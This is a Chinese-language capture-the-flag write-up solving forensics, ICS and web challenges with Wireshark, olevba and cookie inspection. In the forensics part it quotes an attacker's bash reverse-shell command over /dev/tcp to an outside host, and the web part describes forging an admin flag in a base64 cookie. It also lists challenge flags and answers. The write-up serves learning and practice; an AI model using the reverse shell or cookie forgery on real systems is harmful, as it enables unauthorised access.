Team:P@assw0rd!
yiwen1825 [captain]
xiaobai0426 [member] <– Me
kkoebi [member]
Forensics
Bit By Bit
Ans:HTB{b1tbuck3t5_publ1c_r3p0s_g0_brrr!!}
解壓縮該檔案後,發現是個pcap檔,使用Wireshark打開後,先檢查Protocol Hierarchy,發現流量多為HTTP
過濾出HTTP的封包後,發現只有7個封包,先打開最底下的封包看看?
發現這是個Command Injection的封包,從GET的URL可以得知這一訊息,確定了這是攻擊者的封包後,那就可以去找攻擊後進入系統後所輸入的指令(從注入的命令可以知道這是個reverse shell)
Command:
bash -i -p >& /dev/tcp/172.17.0.1/5912 0>&1
可以試著往後翻看看stream(正常來講是去定位Command的IP位置跟Port,不過這題的封包數量很少,所以就用這招試看看能不能找到攻擊者遠端執行的Command)
發現在stream 4確實有Reverse shell留下的痕跡
接著往後看看攻擊者有沒有留下什麼資訊(像是主辦方放的Flag XD),在最底下找到了echo base64的指令,並存在了support.desktop中,將這段base64的訊息解密後即可獲得flag
再將Comment進行二次decode(base64)
The Wire
Ans:HTB{I_g0t_th3_w1r3_4nd_y0u_g0t_th3_fl@g!!_98351ca6b8e61a1003c5114eb178a71a}
- 這題解壓縮後看到了pcapng檔,不過先把題目附的docker啟動,我們要解開docker附的12個有關這個封包的題目才可以取得flag(按照題目敘述)
啟動後如下:
Ok.. 所以我們就依照他給的題目慢慢回答吧,第一題是封包檔紀錄的總封包數量
Wireshark的右下角就會統整好了接著是第二題,第一個封包的Timestamp為多少(In seconds),所以我們要把第一個封包的時間轉成UTC下的second,
可以從View -> Time Display Format -> Second Since 1970-01-01更改,最後再把第一個封包的Timestamp時間輸入上去就Correct了(後面的小數點可以不用打)到了第三題,要篩選出從192.168.1.103到151.101.129.140的流量,並記錄封包數量
那就直接Fliter出來,然後從Wireshark的右下角就能看到Display的數量了
Fliter:
ip.src == 192.168.1.103 && ip.dst == 151.101.129.140
- 很快到了第四題,我們要計算從192.168.1.108到116.203.58.90的Bytes,一樣用剛剛的Fliter,只是改一下IP位置,
過濾出來後就直接打開Conversation,接著看兩個IP之間的Bytes即為答案
Fliter:
ip.src == 192.168.1.108 && ip.dst == 116.203.58.90
- 接著是第五題,這題要篩出所有封包長度為121 bytes的封包數量,一樣直接用Fliter就能搞定
Fliter:
frame.len == 121
- 第六題,要篩出所有來源和目的為151.101.129.140,直接Fliter ip.addr就可以了
Fliter:
ip.addr == 151.101.129.140
- 然後是第七題,直接篩TCP就可以獲得答案
Fliter:
tcp
來到第八題,這題要到封包#374,並找到Destination的MAC Address,直接在Wireshark Ctrl + G到374後,在Ethernet II介面中,後面的dst就有包含MAC Address了
第九題中,要取得IP 192.168.1.103的MAC Address,所以把所有IP為192.168.1.103的封包Fliter出來後,
一樣找到Ethernet的位置就能取得答案了(記得看清楚是src還是dst)
Fliter:
ip.addr == 192.168.1.103
- 接著到第十題,會需要過濾出HTTP GET的封包之外,還需要找到success.txt,所以可以寫這樣一個Fliter,接著右鍵點擊其中一個封包後,
Follow到HTTP Stream,找到HOST的Header,將他的Value輸上去就可以進到下一題
Fliter:
http.request.method == "GET" and http.request.uri contains "success.txt"
- 到了第十一題,一樣Ctrl+G到11492,要注意的是滑鼠要點擊IPv4的介面(左下角),右下角的Hex視窗就會反白出來,把前4個Bytes輸上去就能獲得答案
:::info
為什麼要點擊IPv4呢?因為題目提到了OSI第三層,也就是所謂的網路層,這跟IP、ARP這些Protocol有關,所以找到這個也就可以找出網路層的Bytes
:::
終於來到最後一題了= =,這一題只是要取得Seq跟Ack的Value,所以一樣直接Ctrl+G到18632,在TCP的介面中就寫得一清二楚了
全部12題回答正確後,就能取得本題的Flag了OuO
First Attempt
Ans:HTB{L3ts_k33p_1t_s1mpl3_4nd_st34lthy}
解壓縮後可以得到一個key.docm,由於看到docm,所以就能知道這是個Word的巨集檔,所以用oletools來分析
使用olevba來解,執行後可以看到一整個巨集的指令,以及該工具自行分析出惡意的結果在中間部分可以看到有個function,會去執行powershell的Command,
在中間也有加密的痕跡,而細看後就會看到有一個定義flag的字串,只不過也經過了加密(不過沒很難),就按照他的方式倒轉回來就能取得Flag了
:::info
$flag=’HTB{“ & Chr(Asc(“L”)) & “3ts” & Chr(95) & “k33” & Chr(112) & “1t“ & StrReverse (“3lpm1s”) & “_4nd” & “_st34lthy}’
==(當中的Chr跟StrReverse應該都不需要解釋..ww,有點太基礎)==
To
HTB{L3ts_k33p_1t_s1mpl3_4nd_st34lthy}
:::
ICS
Network
Ans:HTB{MOd8u5_23rO_3CnRYpYp7IoNT@x30}
解壓縮後發現又是封包XD,一樣先檢查Protocol,發現是ModBus/TCP,這樣的話就可以直接Follow了(因為封包數量少的可憐 才78),發現是看不懂的東西
那就試著轉成Hex?因為Modbus主要用於IIOT跟ICS,而ModBus的暫存器主要是以16位元來進行讀寫,所以翻成Hex搞不好能看到一些通訊交換的Data,
果不其然在底下發現了HTB開頭的文字,將所有字都翻出來就能找到Flag了
Web
MFlow
Ans:HTB{s3ss10n_int3gritY_1s_n0t_t0_b3_m3ss3d_w1th_15fbfac10639338fc9800791c575c894}
先打開Docker後,附了IP位置跟Port,連接過去後,會進到一個register的頁面,先隨便輸個帳號密碼進去看看系統長什麼樣
看起來是個銷售網站?而在Welcome Back底下中寫著要成為admin才能看到Flag,所以方向已經很明顯了,先看看Cookie能不能更改
發現有兩個Cookie,一個是Session,一個是Auth,先看看Auth,看起來是使用base64加密的,先試著decode看看
發現有個用於判斷admin的值,那把is_admin從false修改成true,是不是就有辦法成為admin呢?將修改完的base64丟回Auth,
並重新整理(F5),會發現真的變成了Admin,Flag也就出來了
Paradise Vault
Ans:HTB{l34k1ng_0Tp_1nt0_Cl13n7s1d3_1s_b4d_8b6c48a05e3f722a809d4091bd6da3a0}
一樣打開docker,然後一樣給了IP位置,連過去發現是個登入頁面,這邊真的就是通靈了,我那時候覺得跟AIS3 Pre-Exam的某一題很像,
所以我就試了admin跟admin,就跳到OTP驗證了(還真的跟AIS3差不多 笑死)接著打開Network看後,發現每當我們進入到OTP這個頁面後,伺服器會自動Request一個OTP,而裡面就寫著驗證碼,嘗試輸入看看?
然後flag就出來了
After all
這次比賽藍隊方面基本上都是水題,rev跟pwn比較沒在接觸所以交給了兩名隊友
感謝兩位大佬的幫忙QQ,希望下次能得到更好的名次